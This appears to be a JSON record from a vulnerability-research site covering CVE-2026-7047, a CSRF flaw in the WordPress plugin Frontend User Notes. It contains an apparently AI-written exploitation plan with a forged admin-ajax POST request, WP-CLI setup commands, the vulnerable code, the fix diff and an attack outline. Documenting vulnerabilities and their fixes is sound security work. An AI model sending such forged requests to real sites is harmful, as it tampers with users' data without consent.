[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fn9L3AOsGTBxi2arsAHsGN61VAcI-r-e1vaoWc-6EvtE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":30,"source_links":40},"CVE-2026-7047","frontend-user-notes-cross-site-request-forgery-to-note-content-modification-via-confirmedit-action","Frontend User Notes \u003C= 2.1.1 - Cross-Site Request Forgery to Note Content Modification via 'confirmEdit' Action","The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.1.1. This is due to missing or incorrect nonce validation on the funp_ajax_modify_notes function. This makes it possible for unauthenticated attackers to trick a logged-in user into visiting a malicious page, causing unauthorized overwriting of that victim's own note content via a forged cross-site request to wp_update_post() via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. Due to ownership enforcement comparing the note's stored _funp_single_user_id meta against the current session's user ID, the attack is limited to modifying only notes belonging to the tricked victim, and cannot be used to alter notes owned by arbitrary third-party users.","frontend-user-notes",null,"\u003C=2.1.1","2.2.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Cross-Site Request Forgery (CSRF)","2026-06-05 10:36:02","2026-06-05 23:28:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4699a9d7-4b72-4266-90be-1407e7d5b1eb?source=api-prod",1,[22,23,24,25,26,27,28],"admin\u002Fadmin_functions.php","admin\u002Fclass\u002Fclass_settings.php","assets\u002Fcss\u002Ffunp_styles.css","assets\u002Fjs\u002Ffunp_scripts.js","frontend-user-notes.php","includes\u002Fajax.php","includes\u002Fmain.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-7047\n\n## 1. Vulnerability Summary\nThe **Frontend User Notes** plugin for WordPress is vulnerable to **Cross-Site Request Forgery (CSRF)** in versions up to and including 2.1.1. The vulnerability exists in the AJAX handler `funp_ajax_modify_notes` because it fails to perform nonce validation when the `noteAction` parameter is set to `confirmEdit`. This allows an unauthenticated attacker to craft a malicious request that, if executed by a logged-in user, modifies the content of the victim's existing notes. While the plugin enforces ownership (ensuring a user can only modify their own notes), the lack of CSRF protection means the victim's browser can be coerced into \"self-modifying\" their notes with attacker-supplied content.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Action:** `funp_ajax_modify_notes`\n- **Vulnerable Parameter:** `noteAction` (when set to `confirmEdit`)\n- **Payload Parameter:** `noteContent` (the new content for the note)\n- **Target ID Parameter:** `noteEditId` (the ID of the note to modify)\n- **Authentication Required:** Logged-in user (the \"victim\")\n- **Preconditions:** The victim must have at least one existing note (post type: `frontend-user-notes`).\n\n## 3. Code Flow\n1. **Entry Point:** The plugin registers the AJAX action in `includes\u002Fajax.php`:\n   ```php\n   add_action(\"wp_ajax_funp_ajax_modify_notes\", \"funp_ajax_modify_notes\");\n   ```\n2. **Handler Execution:** When a POST request is made to `admin-ajax.php` with `action=funp_ajax_modify_notes`, the `funp_ajax_modify_notes()` function is called.\n3. **Authorization Check:** The function retrieves the current user ID and verifies the note's owner:\n   ```php\n   $user_id = funp_cur_user_id();\n   $cur_note_author = absint( get_post_meta( $post_id, '_funp_single_user_id', true ) );\n   if ( ! $cur_note_author || $cur_note_author !== $user_id ) { ... }\n   ```\n4. **Vulnerable Branch:** The function checks the `$action` variable:\n   ```php\n   $action = isset( $_POST[\"noteAction\"] ) ? ... : null;\n   \u002F\u002F ...\n   if( $action === esc_html(\"remove\") ){\n       if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) { ... }\n       \u002F\u002F ... logic ...\n   }\n   if( $action === esc_html(\"confirmEdit\") ){\n       \u002F\u002F VULNERABILITY: No check_ajax_referer() or wp_verify_nonce() call here.\n       $update_note = array(\n           'ID'           => $post_id,\n           'post_content' => wp_strip_all_tags( $cont, true ),\n       );\n       $update = wp_update_post($update_note);\n   }\n   ```\n5. **Sink:** The content is updated via `wp_update_post()`.\n\n## 4. Nonce Acquisition Strategy\nAccording to the source code analysis, the `confirmEdit` action **does not verify a nonce**. Therefore, an attacker does not need to acquire one to successfully exploit this specific action.\n\nHowever, for a complete PoC and to demonstrate the failure of the security control, one can observe that other actions (like `remove`) *do* require a nonce named `security` with the action string `funp_note_action_nonce`. \n\nIf an agent needs to retrieve nonces for other parts of the plugin (e.g., to prove they exist but are ignored here):\n1. **Shortcode:** The plugin uses `[fun-my-notes]` to display notes on the frontend.\n2. **JS Variable:** The plugin enqueues `funp_fn_scripts` and localizes the variable `FUNP_AJAX_VAR`.\n3. **Extraction:**\n   - Create a page with `[fun-my-notes]`.\n   - Use `browser_eval(\"window.FUNP_AJAX_VAR?.nonce\")` to get the load-notes nonce.\n   - Note: The `funp_note_action_nonce` is actually embedded in the HTML links of the note cards (data-nonce attribute) generated by `funp_notes_inner_links()`.\n\n## 5. Exploitation Strategy\nThe goal is to modify a victim's note without a valid nonce.\n\n### Step 1: Discover Target Note ID\nThe attacker needs the ID of a note belonging to the victim. In a real-world CSRF, this might be guessed or obtained via other means, but for a PoC, we will identify a note ID created during setup.\n\n### Step 2: Perform the Forged Request\nUse the `http_request` tool to send a POST request as the logged-in victim.\n\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n  ```text\n  action=funp_ajax_modify_notes&noteEditId=[NOTE_ID]&noteAction=confirmEdit&noteContent=EXPLOITED_BY_CSRF\n  ```\n\n## 6. Test Data Setup\n1. **Create Victim User:**\n   ```bash\n   wp user create victim victim@example.com --role=subscriber --user_pass=password\n   ```\n2. **Create Initial Note for Victim:**\n   Notes use the custom post type `frontend-user-notes`. The ownership is tracked via the `_funp_single_user_id` meta key.\n   ```bash\n   NOTE_ID=$(wp post create --post_type=frontend-user-notes --post_status=publish --post_title=\"Note ID: \" --post_content=\"Original Content\" --post_author=$(wp user get victim --field=ID) --porcelain)\n   wp post meta set $NOTE_ID _funp_single_user_id $(wp user get victim --field=ID)\n   ```\n3. **Session:** Ensure the agent's browser context is logged in as `victim`.\n\n## 7. Expected Results\nThe server should return a JSON success response:\n```json\n{\n  \"success\": true,\n  \"data\": {\n    \"message\": \"Note updated successfully\",\n    \"update\": { ... },\n    \"action\": \"confirmEdit\"\n  }\n}\n```\nCrucially, the request should succeed **despite the absence of a `security` parameter** in the POST body.\n\n## 8. Verification Steps\nAfter the `http_request`, verify the database state using WP-CLI:\n```bash\nwp post get [NOTE_ID] --field=post_content\n```\n**Success condition:** The output should be `EXPLOITED_BY_CSRF`.\n\n## 9. Alternative Approaches\nIf the plugin is configured in a way that `wp_ajax` actions behave differently, an attacker could try to trigger the same logic via the `wp_ajax_nopriv` hook if it were registered, but in this plugin, only `wp_ajax` (authenticated) is registered for modification.\n\nAnother vector would be to test the `remove` action. If the `security` parameter is provided but with an *incorrect* nonce, and it still deletes the note, it would indicate a broader failure of `check_ajax_referer`. However, the code explicitly checks the nonce for `remove`, so the `confirmEdit` path remains the primary exploit target.","The Frontend User Notes plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 2.1.1 due to missing nonce validation on the 'confirmEdit' action in the AJAX handler. This allows an attacker to trick a logged-in user into unknowingly overwriting the content of their own notes with attacker-supplied text.","\u002F\u002F includes\u002Fajax.php (v2.1.1)\r\nadd_action(\"wp_ajax_funp_ajax_modify_notes\", \"funp_ajax_modify_notes\");\r\nfunction funp_ajax_modify_notes(){\r\n    if( empty( $_POST ) ) {\r\n        $message = __('No data was posted.', 'frontend-user-notes');\r\n        wp_send_json_error( $message);\r\n    }\r\n\r\n    $post_id    = isset( $_POST[\"noteEditId\"] ) ? absint($_POST[\"noteEditId\"]) : 0;\r\n    $action     = isset( $_POST[\"noteAction\"] ) ? sanitize_text_field( wp_unslash ( $_POST[\"noteAction\"] ) ) : null;\r\n    $cont       = isset( $_POST[\"noteContent\"] ) ? sanitize_textarea_field( wp_unslash ( $_POST[\"noteContent\"] ) ) : null;\r\n    \r\n    \u002F\u002F ... (omitted user\u002Fpost validation) ...\r\n\r\n    if( $action === esc_html(\"remove\") ){\r\n        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {\r\n            $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');\r\n            wp_send_json_error( $message );\r\n        }\r\n        \u002F\u002F ... logic ...\r\n    }\r\n\r\n    if( $action === esc_html(\"confirmEdit\") ){\r\n        \u002F\u002F VULNERABILITY: No nonce check (check_ajax_referer) is performed for this action branch\r\n        $update_note = array(\r\n            'ID'           => $post_id,\r\n            'post_content' => wp_strip_all_tags( $cont, true ),\r\n        );\r\n\r\n        $update = wp_update_post($update_note);\r\n\r\n        if( is_wp_error($update) ) {\r\n            \u002F\u002F ...\r\n        } else {\r\n            $message = esc_html__(\"Note updated successfully\", \"frontend-user-notes\");\r\n            wp_send_json_success( array( 'message' => $message, 'update' => get_post($post_id), 'action' => 'confirmEdit' ) );\r\n        }\r\n    }\r\n}","--- includes\u002Fajax.php\t2025-11-14 16:17:12.000000000 +0000\n+++ includes\u002Fajax.php\t2026-06-03 19:55:04.000000000 +0000\n@@ -110,6 +110,11 @@\n     $cont       = isset( $_POST[\"noteContent\"] ) ? sanitize_textarea_field( wp_unslash ( $_POST[\"noteContent\"] ) ) : null;\n     $user_id    = funp_cur_user_id();\n \n+    if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {\n+        $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');\n+        wp_send_json_error( $message );\n+    }\n+\n     if ( !$user_id ) {\n         $message = __('Unauthorized. You must be logged in.', 'frontend-user-notes');\n         wp_send_json_error( $message );\n@@ -135,11 +140,6 @@\n     }\n \n     if( $action === esc_html(\"remove\") ){\n-        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {\n-            $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');\n-            wp_send_json_error( $message );\n-        }\n-\n         \u002F\u002F Delete the post\n         $delete = wp_delete_post($post_id, false);","1. Identify the Target: The attacker identifies the ID of a note belonging to a logged-in user (victim).\r\n2. Craft CSRF Payload: The attacker creates a malicious HTML page or script that sends an unauthenticated POST request to `\u002Fwp-admin\u002Fadmin-ajax.php`. \r\n3. Set Request Parameters: The payload sets the `action` to `funp_ajax_modify_notes`, `noteAction` to `confirmEdit`, `noteEditId` to the victim's note ID, and `noteContent` to the attacker's desired text.\r\n4. Victim Interaction: The attacker tricks the logged-in victim into visiting the malicious page (e.g., via phishing).\r\n5. Execution: Because the `confirmEdit` logic path in `funp_ajax_modify_notes` does not verify a security nonce, the WordPress AJAX handler processes the request as if the victim intended it, successfully calling `wp_update_post()` to modify the note.","gemini-3-flash-preview","2026-06-26 03:51:06","2026-06-26 03:52:13",{"type":41,"vulnerable_version":42,"fixed_version":11,"vulnerable_browse":43,"vulnerable_zip":44,"fixed_browse":45,"fixed_zip":46,"all_tags":47},"plugin","2.1.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffrontend-user-notes\u002Ftags\u002F2.1.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffrontend-user-notes.2.1.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffrontend-user-notes\u002Ftags\u002F2.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ffrontend-user-notes.2.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ffrontend-user-notes\u002Ftags"]